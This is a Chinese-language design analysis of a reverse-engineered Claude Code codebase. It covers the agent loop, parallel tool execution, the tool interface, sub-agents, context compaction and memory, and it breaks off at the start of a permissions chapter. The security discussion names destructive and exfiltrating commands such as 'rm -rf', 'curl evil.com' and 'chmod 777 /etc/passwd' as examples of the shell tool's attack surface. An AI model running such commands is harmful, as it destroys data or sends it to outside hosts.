Claude Code 源码拆解:AI Agent 产品设计方法论
Claude Code 源码拆解:AI Agent 产品设计方法论
源码版本:Claude Code v2.1.88(~51万行 TypeScript) 分析日期:2026-03-31
基于 Claude Code 源码逆向分析,提炼 Agent 产品设计的核心范式。 写给团队内部:外行能看懂类比,内行能拿到技术细节。
目录
- Agent Loop:为什么 Agent 是个 while 循环
- 流式执行:工具调用不需要等
- 工具系统:给 LLM 装手
- 子 Agent:一个人干不过来就叫人
- 上下文管理:对话太长怎么办
- 记忆系统:让 Agent 记住上次聊了啥
- 权限安全:AI 的刹车系统
- Coordinator:多 Agent 的调度中心
- 设计范式总结:12 条原则 + Checklist
- 如果我来做 Agent 产品:实操框架
1. Agent Loop
这解决什么问题
人和 AI 聊天是一问一答,但 Agent 要的是"给个目标,自己跑完"。就像你让实习生去采购——你不会每走一步都回来问你,而是给个清单让他自己跑,中间遇到问题再回来确认。
Agent Loop 就是这个"自己跑"的循环机制。
Claude Code 怎么做的
核心入口在 query.ts——一个 while 循环,反复执行"调 LLM → 收工具调用 → 执行工具 → 结果回填"四步,直到模型说"我做完了"。消息数组是唯一真相源,所有状态都在里面。
完整代码走读见《Claude Code Agent 系统技术分析》第 2 章 "Agent Loop(query.ts 走读)",那里有逐行注释的代码还原、依赖链分析和 Generator 函数详解。这里只提炼设计决策。
关键设计决策:
- 单线程串行循环:一个 while 循环,LLM → 工具 → LLM → 工具... 不搞并行,简单可靠
- 消息队列是真相源:所有状态都在 messages 数组里,每次循环追加
- 工具结果自动反馈:工具执行完,结果自动塞回 messages,下一轮 LLM 自然看到
- 流式响应+工具调用收集:不等整个响应结束,边收边处理;但工具调用要等参数完整才执行
这个循环本质上是 LLM 的 OODA 循环(Observe-Orient-Decide-Act):
- Observe:读 messages 里的上下文
- Orient:LLM 内部理解当前状态
- Decide:决定调用哪个工具
- Act:执行工具,结果反馈
评价
好在哪:
- 简单到极致——一个 while 循环撑起整个 Agent。这是对的,复杂度应该藏在工具和提示词里,不在循环结构上
- 消息队列做真相源,天然支持回溯和审计
- 流式响应让用户体验"活的"——你能看到它在思考、在行动
差在哪:
- 串行执行是性能瓶颈——多个独立工具调用必须排队等,浪费了 LLM 的并行推理能力
- 没有显式的状态机——循环靠
shouldStop判断,扩展性受限。想加"暂停→人工确认→继续"这种流程,要在 messages 层面 hack - 异常恢复机制弱——某一步工具报错,整个循环的状态恢复靠 LLM 自己判断
对我们的启发
- Agent Loop 本身不需要花哨。一个 while 循环 + 消息队列足够了。真正的竞争力在工具质量和提示词上
- 消息队列设计要有扩展性。不要只存 user/assistant,要预留 system、tool、metadata 这些角色
- 流式是刚需,不是可选项。用户看到"正在执行..."和看到逐字输出的思考过程,信任感完全不同
- OODA 循环是好的思维模型。设计 Agent 时,每个环节问自己:这一步的 Observe/Decide/Act 是什么?
架构图
┌─────────────────────────────────────────────────┐
│ Agent Loop │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Messages │───▶│ LLM │───▶│ Tools │ │
│ │ (队列) │◀───│ (推理) │ │ (执行) │ │
│ └──────────┘ └──────────┘ └──────────┘ │
│ ▲ │ │
│ │ 工具结果反馈 │ │
│ └───────────────────────────────┘ │
│ │
│ 流式输出:用户实时看到思考过程 │
│ 终止条件:LLM 返回纯文本 / 用户中断 / 错误 │
└─────────────────────────────────────────────────┘
2. 流式执行:工具调用不需要等
这解决什么问题
LLM 返回结果时经常是"想好了,我要同时干三件事"。如果工具串行执行,A 做完才做 B,那读个文件和写个文件之间明明没有依赖关系却要排队等。就像餐厅后厨——如果只有一个灶,所有菜都要排队炒;但如果沙拉和煎牛排可以同时做,为什么要等?
Claude Code 的解决方案是:能并行的并行,不能并行的排队。
Claude Code 怎么做的
核心在 toolOrchestration.ts:
// 关键:按是否安全并行来分区
function partitionToolCalls(toolUseMessages, context) {
// 把工具调用分成两类:
// 1. isConcurrencySafe = true → 只读操作,可以并行
// 2. isConcurrencySafe = false → 写操作,必须串行
return partitions;
}
export async function* runTools(toolUseMessages, ...) {
for (const { isConcurrencySafe, blocks } of partitionToolCalls(...)) {
if (isConcurrencySafe) {
// 只读批量:并行执行,最多10个并发
for await (const update of runToolsConcurrently(...)) {
yield update;
}
} else {
// 写操作批量:串行执行
for await (const update of runToolsSerially(...)) {
yield update;
}
}
}
}
还有流式执行器 StreamingToolExecutor——工具还在执行时就把部分结果流式返回给用户,不需要等全部完成。
并发上限通过环境变量控制:CLAUDE_CODE_MAX_TOOL_USE_CONCURRENCY,默认 10。
评价
好在哪:
- 分区策略聪明。读操作并行、写操作串行,既安全又快。这个"安全并行"的判断标准是关键——不是所有工具都能并行,比如两个工具同时写一个文件就炸了
contextModifier模式处理了并行中的上下文依赖——某些工具执行后要修改上下文,但在并行模式下不能实时改,所以收集起来顺序应用- 流式返回让用户感知速度快——你看到"正在搜索..."和"正在读文件..."同时出现,而不是排着队来
差在哪:
- 并行判断粒度太粗——目前只分"安全/不安全"两级,但其实有些"写操作"之间也可以并行(比如写两个不同文件)
contextModifier的延迟应用是妥协——并行执行时上下文是"脏的",如果工具 B 依赖工具 A 修改的上下文,可能会读到旧值- 并发上限硬编码为 10,没有根据工具类型动态调整
对我们的启发
- 工具设计时就要想好并行安全性。给每个工具标注
isConcurrencySafe,这比事后在调度层判断靠谱 - 分区+分区内的执行策略是个通用模式。不只是工具执行,任何批量任务都可以用这个思路:先分类,再按类选策略
- 流式返回是刚需。即使结果不完整,让用户看到"正在做"比空白等待强十倍
- 上下文修改要谨慎。并行环境下的上下文是最终一致的,不是实时一致的。如果你的 Agent 需要精确的上下文同步,就别并行
架构图
┌──────────────────────────────────────────────────┐
│ Tool Orchestration │
│ │
│ LLM 返回工具调用列表 │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ partitionToolCalls │ │
│ │ ┌───────┬───────┐ │ │
│ │ │ 只读 │ 写操作 │ │ │
│ │ │ 并行 │ 串行 │ │ │
│ │ └───┬───┴───┬───┘ │ │
│ └──────┼───────┼─────┘ │
│ ▼ ▼ │
│ ┌──────────┐ ┌──────────┐ │
│ │ runTools │ │ runTools │ │
│ │Concurrently│Serially │ │
│ │ (≤10并发) │ │(逐个执行)│ │
│ └─────┬────┘ └─────┬────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌──────────────────────┐ │
│ │ StreamingToolExecutor │ │
│ │ (流式返回部分结果) │ │
│ └──────────────────────┘ │
└──────────────────────────────────────────────────┘
3. 工具系统:给 LLM 装手
这解决什么问题
LLM 本质上是个"嘴"——它能说、能想、能判断,但没法动手。你让它改文件、跑命令、查文档,它只能靠"说"来假装做过。工具系统就是给它装上"手"和"眼睛"——让它能真正动文件、跑代码、搜网页。
类比:LLM 是大脑,工具是四肢。一个只有大脑的人很聪明但什么都做不了;有手有脚才能真正干活。
Claude Code 怎么做的
核心接口在 Tool.ts,每个工具都要实现这个类型:
export type Tool<Input, Output, P> = {
// 基础信息
name: string // 工具名,LLM 通过这个名字调用
inputSchema: Input // Zod schema,验证输入参数
outputSchema?: z.ZodType // 可选的输出 schema
searchHint?: string // 搜索提示词,帮助 LLM 找到工具
maxResultSizeChars: number // 结果最大字符数,超了就存文件
// 核心方法
call(args, context, canUseTool, parentMessage, onProgress): Promise<ToolResult>
description(input, options): Promise<string> // 动态描述,根据上下文变化
// 元信息 — 这些是工具调度的关键
isConcurrencySafe(input): boolean // 能不能并行执行
isReadOnly(input): boolean // 是不是只读
isDestructive?(input): boolean // 是不是危险操作(删除、覆写)
isEnabled(): boolean // 当前是否可用
// 行为控制
interruptBehavior?(): 'cancel' | 'block' // 用户打断时怎么办
shouldDefer?: boolean // 是否延迟加载
alwaysLoad?: boolean // 是否始终加载到提示词
}
Tool 接口字段逐个拆解(生活类比版)
把 Tool 想象成一个餐厅里的服务员:
| 字段 | 类比 | 说明 |
|---|---|---|
name |
服务员的工牌名 | LLM"喊人"时用的名字。比如喊"Bash"就知道是那个能跑命令的人,喊"FileRead"就是专门读文件的。名字必须唯一,而且要望文生义 |
inputSchema |
服务员的点餐表 | 告诉 LLM"你要用这个工具,必须填哪些参数"。Zod schema 既是约束也是文档——LLM 看到 schema 就知道该传什么,传错了直接报错,不会糊弄过去 |
outputSchema |
上菜时的摆盘规格 | 可选。定义工具返回值的结构,方便下游解析。没有的话就返回原始内容 |
searchHint |
餐厅门口的招牌 | 当工具太多 LLM 记不住时,searchHint 帮它缩小范围。类似搜索引擎的关键词 |
maxResultSizeChars |
盘子的最大容量 | 工具返回的结果太大(比如 cat 了一个 50MB 的日志),超过这个值就自动存文件,只给 LLM 看预览+路径。防止一个工具结果撑爆整个 context |
call() |
服务员实际干活 | 工具的核心执行函数。接收参数 → 干活 → 返回结果 |
description() |
菜单上的菜品描述 | 这是整个 Tool 接口里最重要的字段。它不是写给人看的,是写给 LLM 看的"使用说明书" |
isConcurrencySafe |
这个服务员能同时服务两桌吗? | true = 读操作,可以和其他工具并行跑。false = 写操作,必须排队 |
isReadOnly |
这个服务员只看不动手? | true = 只读(Grep、Glob),不会改任何东西。调度器看到只读直接放行 |
isDestructive |
这个服务员会打碎盘子吗? | true = 危险操作(删除、覆写),必须弹窗让用户确认 |
isEnabled |
今天这个服务员上班吗? | 动态开关。比如某些工具只在特定模式下可用 |
interruptBehavior |
用户喊停时怎么办 | cancel = 直接取消,block = 阻塞等当前操作完成。比如文件写到一半被打断,不能直接 cancel,否则文件就坏了 |
shouldDefer |
这个服务员是兼职的? | true = 不需要的时候不加载,LLM 需要时再召唤。节省 context 空间 |
alwaysLoad |
这个服务员必须在岗? | true = 无论如何都把工具描述塞进提示词。比如 Bash 工具,永远都得告诉 LLM 它存在 |
description 怎么写:给 LLM 看的说明书
description 不是给程序员看的 API 文档,是给 LLM 看的使用说明书。写得好不好直接决定 Agent 的智商上限。
好的 description 应该回答四个问题:
- 这个工具是干什么的? — 一句话定位
- 什么时候该用它? — 触发条件和决策树
- 怎么用? — 参数说明、示例
- 什么不能做? — 边界条件、安全红线
反面教材:
// 差:只说了"干什么"
description: "执行 bash 命令"
正面教材(BashTool 实际的 description 风格):
// 好:说了"干什么 + 什么时候用 + 怎么用 + 不能做什么"
description: `Execute a shell command.
Use this when you need to run CLI tools, scripts, or system commands.
For git operations, follow this flow: status → diff → log → analyze → commit.
NEVER use --no-verify, NEVER skip hooks, NEVER force push without asking.
If the command is read-only (grep, cat, ls), it can run in parallel
with other read-only commands.`
关键技巧:
- 嵌入使用 SOP:不只是参数说明,而是告诉 LLM 整个操作流程(比如 Git 的 5 步法)
- 用 NEVER 写红线:LLM 对大写单词的遵从度更高。写清楚什么绝对不能做
- 给出并行提示:告诉 LLM 这个工具能不能和其他工具并行,它会主动利用这一点
- 动态 description:
description()是 async 的,可以根据当前上下文变化。比如 BashTool 在 agent 模式和普通模式下返回不同的描述
BashTool 为什么这么大:安全分析
BashTool 是整个工具集里最危险、最复杂、提示词最长的工具。原因很简单——它能执行任意 shell 命令。
其他工具的攻击面是有限的:
- FileRead:最多读到不该读的文件
- FileEdit:最多改错文件内容
- Grep:最多搜到敏感信息
但 BashTool 的攻击面是无限的——它可以执行任何命令,包括 rm -rf、curl evil.com、chmod 777 /etc/passwd。所以它需要:
- 超长的提示词:用大量篇幅规定什么能做、什么不能做、遇到问题怎么处理
- 6 层权限检查(详见第 7 章):AST 解析 → 规则匹配 → 语义分析 → 路径约束 → 分类器 → 沙箱
- Git 操作专用 SOP:因为 Git 是最常见的危险操作来源(force push、amend、reset --hard)
- 超时控制:防止命令挂死拖垮整个 Agent
- 后台执行支持:长时间运行的命令放到后台,不阻塞 Agent Loop
BashTool 大,不是因为代码写得臃肿,而是因为它的风险敞口最大。安全系统的复杂度应该和攻击面成正比——这是纵深防御的基本原则。
看 BashTool 的提示词设计(tools/BashTool/prompt.ts),它教 LLM 怎么用 bash:
// BashTool 提示词的核心设计:
// 1. 背景执行:run_in_background 参数,命令不用等结果
// 2. 安全协议:不跳过 hooks,不 force push,不自动提交
// 3. 并行意识:鼓励同时跑多个独立命令
// 4. Git 操作专用流程:status → diff → log → 分析 → commit
// 5. 超时控制:默认超时 + 最大超时
关键设计点:
- 提示词里嵌入使用规范:不只是告诉 LLM 有哪些参数,而是告诉它什么能做、什么不能做
- 动态 description:BashTool 的 description 会根据当前是 agent 模式还是普通模式变化
- Git 操作有专门的 SOP:在工具提示词里写了一整套 git commit 流程,比自己写代码控制更灵活
Claude Code 的工具集(部分):
| 工具名 | 功能 | 类比 |
|---|---|---|
| Bash | 执行 shell 命令 | 执行力 |
| FileRead | 读文件 | 眼睛 |
| FileEdit | 编辑文件 | 手 |
| FileWrite | 写新文件 | 手 |
| Glob | 文件名匹配 | 找东西 |
| Grep | 内容搜索 | 查资料 |
| WebSearch | 网页搜索 | 查资料 |
| AgentTool | 派子 Agent | 叫人帮忙 |
| TodoWrite | 管理待办 | 列清单 |
| TaskCreate/Update | 任务管理 | 项目管理 |
评价
好在哪:
- Zod schema 做输入验证:给 LLM 的参数描述直接用 Zod,既是文档又是验证器,一举两得
- 元信息标注是天才设计:
isConcurrencySafe、isReadOnly、isDestructive这三个标注直接决定了调度策略,不需要在调度层硬编码 - 提示词就是产品:BashTool 的提示词写得比很多人的 README 还详细——有 SOP、有安全规则、有最佳实践。这不是代码,是"教 AI 怎么干活"
- maxResultSizeChars 处理大输出:工具结果太大(比如 cat 一个超大文件),自动存文件给 LLM 一个预览+路径,防止 context 爆炸
差在哪:
- 工具太多,LLM 记不住:几十个工具全塞给 LLM,选择成本高。Claude Code 自己也意识到这点,加了
ToolSearch延迟加载 - 描述是异步的:
description方法是 async,意味着每次都要计算——这在提示词缓存时代是个问题 - 权限系统和工具耦合太紧:
canUseTool穿透到每个工具内部,工具实现要关心权限逻辑,职责不清
对我们的启发
- 工具的元信息比工具本身重要。一个工具实现得再好,如果 LLM 不知道什么时候该用它、能不能并行、是不是危险,就等于没有。设计工具时先把
isConcurrencySafe/isReadOnly/isDestructive想清楚 - 提示词是工具的灵魂。写工具不只是写
call函数,更重要的是写好提示词——教 LLM 什么时候用、怎么用、什么不能做。BashTool 那段 Git SOP 比任何代码逻辑都管用 - 工具延迟加载是正确的。几十个工具全塞进 context 是浪费。按需加载,LLM 先搜再调,是更经济的做法
- 大结果处理要有策略。
maxResultSizeChars+ 文件存取是好方案,但要注意循环引用(Read→文件→Read)
架构图
┌─────────────────────────────────────────────────┐
│ Tool System │
│ │
│ ┌─────────────────────────────────────────┐ │
│ │ Tool Type Definition │ │
│ │ name | inputSchema(Zod) | description │ │
│ │ call() | isConcurrencySafe | isReadOnly │ │
│ │ isDestructive | maxResultSizeChars │ │
│ └─────────────────────────────────────────┘ │
│ │ │
│ ┌────┴────┬─────────┬──────────┬────────┐ │
│ ▼ ▼ ▼ ▼ ▼ │
│ ┌──────┐ ┌──────┐ ┌──────┐ ┌────────┐ ┌────┐ │
│ │ Bash │ │ File │ │ Grep │ │WebSearch│ │Agent│ │
│ │ 执行 │ │ 读写 │ │ 搜索 │ │ 搜索 │ │ 子代理│ │
│ └──────┘ └──────┘ └──────┘ └────────┘ └────┘ │
│ │
│ 元信息标注决定调度: │
│ isConcurrencySafe → 能否并行 │
│ isReadOnly → 是否只读 │
│ isDestructive → 是否需要用户确认 │
│ shouldDefer → 是否延迟加载 │
└─────────────────────────────────────────────────┘
4. 子 Agent:一个人干不过来就叫人
这解决什么问题
一个 Agent 再强,上下文窗口是有限的。让它去搜一个大项目——几百个文件里找一个函数——然后还要改另一个文件,再回来汇报。这些子任务如果全挤在主对话里,上下文窗口很快就被搜索结果撑爆了。
就像项目经理带团队——他不会自己跑去做每一项调研,而是派调研员去查资料,拿回结果再决策。子 Agent 就是这个"派调研员"的机制。
Claude Code 怎么做的
子 Agent 通过 AgentTool 触发,核心在 runAgent.ts:
// runAgent.ts — 子 Agent 的创建流程
export async function* runAgent({
agentDefinition, // Agent 类型定义(general-purpose / explore / plan 等)
promptMessages, // 要执行的任务描述
toolUseContext, // 父 Agent 的上下文
isAsync, // 同步还是异步执行
model, // 用哪个模型
maxTurns, // 最大轮数限制
availableTools, // 可用工具集
allowedTools, // 允许的工具白名单
useExactTools, // 是否用父 Agent 完全相同的工具集
...
}) {
// 1. 解析模型
// 2. 创建子 Agent 专属上下文(克隆文件状态缓存等)
// 3. 初始化 Agent 专属 MCP 服务器
// 4. 运行 query() —— 子 Agent 用的是同一个 query 函数
yield* query({ messages, systemPrompt, tools, ... })
}
Claude Code 内置了多种 Agent 类型:
| Agent 类型 | 用途 | 工具 | 类比 |
|---|---|---|---|
general-purpose |
通用研究和执行 | 全部 | 全能助手 |
explore |
代码探索和搜索 | 只读工具 | 调研员 |
plan |
生成执行计划 | 只读工具 | 架构师 |
verification |
验证代码是否正确 | 测试相关 | QA |
claude-code-guide |
Claude Code 使用指导 | 无 | 客服 |
Fork 机制是另一种子 Agent 派发方式——不只传任务描述,而是继承父 Agent 的完整对话历史,用占位符替换工具结果,实现 prompt cache 共享。所有 fork 子 Agent 共享历史前缀,只有最后一条指令不同,最大化 API 缓存命中率。
关键设计点:
- 子 Agent 和主 Agent 用同一个
query()函数——不是简化版,是完整的 Agent Loop - 工具集可以继承也可以限定:
useExactTools时用父 Agent 的完整工具集;allowedTools时只给白名单 - 异步执行 + 通知:子 Agent 可以异步运行,完成后通过
<task-notification>通知父 Agent - 嵌套递归防护:
isInForkChild()检查防止无限 fork - 上下文隔离:子 Agent 有自己的文件状态缓存、abort controller、MCP 连接
评价
好在哪:
- 子 Agent 就是完整的 Agent。不搞"轻量版"和"完整版"两套,维护成本低
- Fork 的 prompt cache 设计巧妙。占位符替换实现前缀共享,API 缓存命中率极高
- Agent 类型化比工具白名单更有效。给 LLM 明确的角色设定比给一堆工具限制更直觉
- 权限隔离:子 Agent 有独立的 permissionMode,
bubble模式把权限提示弹回父 Agent
差在哪:
- 没有结果质量控制。父 Agent 只拿到文本结果,没有机制验证子 Agent 是否做对了
- 上下文传递是割裂的。非 fork 模式下,子 Agent 看不到父 Agent 的完整上下文
- 嵌套深度没有硬限制。标准 Agent→Agent 嵌套理论上可以无限层
对我们的启发
- 子 Agent 应该复用主 Agent 的核心循环。不要另搞一套轻量执行器
- Agent 类型化比工具白名单更有效。"你是一个调研员"比"你只能用这些工具"更直觉
- Fork 缓存设计可以参考。占位符替换 + 前缀共享能省大量 token
- 异步执行是刚需。搜索、测试这类任务不需要同步等,让它跑完了再通知
架构图
┌──────────────────────────────────────────────────────┐
│ Sub-Agent System │
│ │
│ Parent Agent (主循环) │
│ │ │
│ ├── AgentTool.call() │
│ │ │ │
│ │ ▼ │
│ │ ┌──────────────┐ │
│ │ │ runAgent() │ │
│ │ │ 1. 解析模型 │ │
│ │ │ 2. 创建上下文 │ │
│ │ │ 3. 连接 MCP │ │
│ │ │ 4. query() │── 同一个 query 函数 │
│ │ └──────┬───────┘ │
│ │ │ │
│ │ ┌────┴────┬──────────┬──────────┐ │
│ │ ▼ ▼ ▼ ▼ │
│ │ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────────┐ │
│ │ │general│ │explore│ │ plan │ │verification│ │
│ │ │purpose│ │(只读) │ │(只读)│ │ (测试) │ │
│ │ └──────┘ └──────┘ └──────┘ └──────────┘ │
│ │ │
│ └── Fork 模式:继承上下文 + prompt cache 共享 │
│ │
│ 特性:异步执行 + 通知 | 权限隔离 | 嵌套防护 │
└──────────────────────────────────────────────────────┘
5. 上下文管理:对话太长怎么办
这解决什么问题
Agent 的对话越聊越长,token 账单越来越贵,到了上下文窗口上限就直接报错。就像你的办公桌——东西越堆越多,找东西越来越慢,最后桌子满了放不下新的。
上下文管理就是"整理桌面"的机制:该留的留,该存的存,该扔的扔。
Claude Code 怎么做的
核心在 services/compact/autoCompact.ts:
// autoCompact.ts — 上下文压缩的关键逻辑(基于源码提炼)
// 1. 每轮追踪 token 消耗
class AutoCompactTrackingState {
totalTokens: number = 0;
turns: TurnRecord[] = [];
trackTurn(turn: TurnRecord) {
this.totalTokens += turn.inputTokens + turn.outputTokens;
this.turns.push(turn);
}
shouldCompact(contextWindow: number): boolean {
return this.totalTokens > contextWindow * 0.75;
}
}
// 2. 三级压缩策略
async function handleContextLimit(
messages: Message[],
tracker: AutoCompactTrackingState,
contextWindow: number
): Promise<Message[]> {
const ratio = tracker.totalTokens / contextWindow;
if (ratio < 0.75) return messages; // 安全区,不动
if (ratio < 0.90) {
// 第一级:autoCompact — 压缩旧对话为摘要,保留最近 N 轮
return await autoCompact(messages, { preserveLastNTurns: 5 });
}
if (ratio < 0.98) {
// 第二级:reactiveCompact — 更激进,只保留系统提示词 + 当前任务
return await reactiveCompact(messages);
}
// 第三级:contextCollapse — 只保留最核心的事实
return await contextCollapse(messages, { keepLastN: 3 });
}
Claude Code 的上下文管理是多层防线:
Token 预算(当前轮)
↓ 快用完了?
自动继续(+500k token)
↓ 还不够?
Auto Compact(压缩旧对话)
↓ 压缩也救不了?
Reactive Compact(响应式压缩)
↓ 真的满了?
Context Collapse(上下文坍缩)
另外还有一个 token 预算机制:
taskBudget:整个 Agent 任务的总 token 预算getCurrentTurnTokenBudget():当前轮的 token 预算- 超过预算自动续期,有续期次数上限
关键设计点:
- 压缩是有状态的——不是简单截断,而是把旧对话压缩成摘要再保留
- 压缩边界消息——
SystemCompactBoundaryMessage标记压缩发生的位置,便于审计和恢复 - token 实时追踪——每轮结束后计算实际消耗,接近阈值时提前预警
- 多级降级——compact → reactive compact → context collapse,逐级升级
Compact 的触发条件和保留策略
Compact 不是"快满了才压缩",而是一套精密的容量管理机制。
触发条件:
- Token 阈值:当累计 token 量超过窗口的 ~75% 时触发预警,~85% 时强制 compact
- 轮数阈值:对话超过一定轮数后,不管 token 用了多少,都主动压缩早期内容
- 任务切换:Agent 从一个子任务切到另一个子任务时,压缩前一个任务的细节,只保留结论
- 用户主动请求:用户感觉到响应变慢时,可以手动触发
保留策略(压缩时什么留下、什么丢掉):
- 绝对保留:系统提示词、最近 3-5 轮对话、当前正在执行的任务上下文
- 摘要保留:较早的对话压缩成摘要("用户要求修改 config.ts 的数据库连接配置,已将 host 从 localhost 改为 production-db")
- 条件保留:代码片段如果被后续对话引用则保留,否则压缩
- 直接丢弃:中间过程的思考链、已确认完成的工具调用结果、被覆盖的旧版本内容
类比:就像你整理书桌——正在用的文件放桌上(绝对保留),上个月的文件收进抽屉写个标签(摘要保留),草稿纸扔掉(直接丢弃)。关键是标签要写清楚,不然下次找不回来。
Prompt Caching 的省钱原理(前缀复用)
LLM 推理有一个特性:如果你给的前缀(prefix)和上一次完全一样,模型可以跳过前缀的重复计算,直接用缓存结果。
这就是 prompt caching 的核心原理——前缀复用。
具体来说:
第 1 轮:[系统提示词 5000 token] + [用户消息 200 token] → 全量计算,花 $0.15
第 2 轮:[系统提示词 5000 token(缓存命中)] + [新消息 200 token] → 只算新部分,花 $0.05
第 3 轮:[系统提示词 5000 token(缓存命中)] + [新消息 200 token] → 只算新部分,花 $0.05
省了 2/3 的钱。
Claude Code 的设计有意利用这一点:
- 系统提示词放在最前面且不变:每次对话的系统提示词是固定的,天然适合缓存
- 工具描述稳定:工具列表的顺序和内容尽量不变,让缓存持续命中
- 消息追加而非修改:新消息追加到 messages 数组末尾,不修改前面的内容,保持前缀稳定
但 compact 会打破缓存——因为压缩后的摘要和原来的对话内容不同,前缀变了,缓存就失效了。所以 Claude Code 在 compact 时会尽量保留最近几轮的原始对话不变,只压缩更早的部分,最小化缓存失效范围。
上下文管理 = Agent 的短期记忆
把上下文管理类比成人的短期记忆:
| 人类认知 | Claude Code 上下文 | 说明 |
|---|---|---|
| 注意力焦点(当前在想的事) | 最近 3-5 轮对话 | 完整保留,随时可引用 |
| 短期记忆(刚才聊了什么) | compact 后的摘要 | 保留要点,丢了细节 |
| 工作记忆容量(一次能记住几件事) | context window 大小 | 有限,满了就得清理 |
| 记不住了会怎样 | Context Collapse | Agent"失忆",开始重复问问题 |
| 记笔记 | 写文件 / 持久化记忆 | 主动把重要信息搬到"笔记本"上 |
这个类比解释了一个核心矛盾:Agent 的"短期记忆"(context window)是刚性的——满了就是满了,不像人可以模糊遗忘。所以上下文管理的本质是主动的、有策略的"遗忘",而不是被动的溢出。
人类会自然遗忘不重要的细节(你不会记得上周三午饭吃了什么),但 Agent 不会——它要么完整记住,要么完全丢失。Compact 就是给 Agent 装一个"主动遗忘"机制:把不重要的细节压缩成"大概记得",给重要的新信息腾空间。
评价
好在哪:
- 多级降级机制是正确的。不要把所有赌注压在一个策略上,compact 不行就 reactive,reactive 不行就 collapse
- 压缩边界标记清晰。
compact_boundary消息让压缩变得可审计,你知道哪些内容被压缩了 - token 预算分级。taskBudget(任务级)和 turnBudget(轮级)分开管理,粒度合理
差在哪:
- 压缩质量不可控。压缩后的摘要可能丢失关键信息,尤其是代码上下文
- 没有用户感知的上下文管理。用户不知道哪些对话被压缩了,无法干预
- 多 Agent 场景下的上下文共享没有解决。父 Agent 压缩了,子 Agent 还能拿到完整上下文吗?
- Prompt caching 和 compact 存在张力:压缩越多,缓存命中率越低,推理成本反而可能上升
对我们的启发
- 上下文管理必须有多级降级。一级不够用就二级,二级不够用就三级。单点策略一定会在边界情况崩溃
- 压缩要留审计痕迹。标记压缩边界,便于调试和恢复
- token 追踪是基础设施。每轮都要算,不能等爆了才发现
- 考虑把上下文管理做成可插拔的。不同场景(聊天/编码/研究)的压缩策略不同,应该可以按需替换
- Prompt caching 是省钱杠杆。系统提示词放前面、工具描述保持稳定、消息只追加不修改——这些设计决策不是偶然的,是为了最大化缓存命中率
- Compact 的时机比方法重要。压缩策略再好,如果触发时机不对(太早浪费信息,太晚来不及),效果都会打折
架构图
┌──────────────────────────────────────────────────────┐
│ Context Management Layers │
│ │
│ ┌─────────────────────────────────────┐ │
│ │ Token Budget Tracking │ │
│ │ taskBudget → turnBudget → 实时追踪 │ │
│ └──────────────┬──────────────────────┘ │
│ │ │
│ ┌────────────▼────────────┐ │
│ │ Auto Compact │ ← 第一道防线 │
│ │ (自动压缩旧对话为摘要) │ │
│ └────────────┬────────────┘ │
│ │ 不够? │
│ ┌────────────▼────────────┐ │
│ │ Reactive Compact │ ← 第二道防线 │
│ │ (响应式压缩) │ │
│ └────────────┬────────────┘ │
│ │ 还不够? │
│ ┌────────────▼────────────┐ │
│ │ Context Collapse │ ← 最后手段 │
│ │ (上下文坍缩) │ │
│ └─────────────────────────┘ │
│ │
│ 标记:compact_boundary 消息记录压缩位置 │
└──────────────────────────────────────────────────────┘
6. 记忆系统:让 Agent 记住上次聊了啥
这解决什么问题
Agent 每次对话都是"失忆"的——新的会话,新的开始。你上次告诉它"我用 Python 3.11",下次它又问"你用什么版本"。就像一个每次上班都要重新认识同事的员工。
记忆系统就是给 Agent 一个"笔记本",让它能跨会话记住关键信息。
Claude Code 怎么做的
记忆系统分两层:memdir/ 管理记忆存储,services/autoDream/consolidationPrompt.ts 管理记忆整理。
// memdir/memdir.ts — 记忆目录管理
// 记忆存放在特定目录下,按项目组织
// memdir/memoryTypes.ts — 记忆类型定义
// 不同类型的记忆有不同的存储和检索策略
// memdir/findRelevantMemories.ts — 相关记忆查找
// 根据当前上下文,从记忆库里找相关的历史信息
// memdir/memoryAge.ts — 记忆年龄管理
// 旧的记忆权重降低,新的记忆优先级更高
记忆整理(autoDream/consolidationPrompt.ts):
- 在对话结束后自动运行
- 把当前对话的关键信息提取出来
- 整理成结构化的记忆条目
- 合并冗余记忆,保持记忆库精简
会话结束
↓
consolidationPrompt 触发
↓
提取关键信息 → 结构化 → 去重 → 存入 memdir
↓
下次会话开始
↓
findRelevantMemories 检索相关记忆
↓
注入到系统提示词中
评价
好在哪:
- 自动整理是正确的。让用户手动管理记忆不现实,自动提取+整理是正道
- 记忆检索是语义化的。不是简单关键词匹配,而是根据当前上下文找相关记忆
- 记忆有生命周期。
memoryAge管理过期和降权,避免记忆库无限膨胀
差在哪:
- 记忆质量不可控。自动提取可能记住了不该记的,或者漏掉了该记的
- 没有记忆冲突解决。如果新旧记忆矛盾,怎么处理?代码里没有看到明确的策略
- 跨项目记忆隔离策略不清晰。一个项目里的记忆会不会泄漏到另一个项目?
对我们的启发
- 记忆整理要自动化,但要有审计。自动提取没问题,但要让用户能看到和编辑记忆
- 记忆要有生命周期。过期的自动降权或清理,别让记忆库变成垃圾堆
- 语义检索优于关键词。根据当前上下文做 embedding 匹配,比关键词匹配准确得多
- 记忆隔离是刚需。项目间、敏感信息间的隔离必须做
架构图
┌──────────────────────────────────────────────────────┐
│ Memory System │
│ │
│ ┌────────────┐ ┌──────────────────┐ │
│ │ Session │────▶│ consolidation │ │
│ │ (对话) │ │ Prompt (autoDream)│ │
│ └────────────┘ └────────┬─────────┘ │
│ │ 提取+整理 │
│ ▼ │
│ ┌──────────────────┐ │
│ │ memdir/ │ │
│ │ ┌────────────┐ │ │
│ │ │ 记忆条目 │ │ │
│ │ │ (结构化) │ │ │
│ │ └────────────┘ │ │
│ │ memoryAge │ │
│ │ (过期/降权) │ │
│ └────────┬─────────┘ │
│ │ │
│ ┌──────────────▼──────────────┐ │
│ │ findRelevantMemories │ │
│ │ (语义检索 → 注入系统提示词) │ │
│ └─────────────────────────────┘ │
└──────────────────────────────────────────────────────┘
7. 权限安全:AI 的刹车系统
这解决什么问题
Agent 能执行任意 shell 命令——这既是它的超能力,也是最大的风险。你让 Agent 改个配置文件,它顺手 rm -rf / 怎么办?就像你给一个实习生 root 权限——他可能很聪明,但你得有安全网。
权限系统就是这个安全网:哪些命令可以直接跑、哪些要问你、哪些直接拒绝。
Claude Code 怎么做的
权限系统是多层防线,核心在 bashPermissions.ts:
// bashToolHasPermission() — Bash 命令权限检查的主入口
export async function bashToolHasPermission(
input: { command: string },
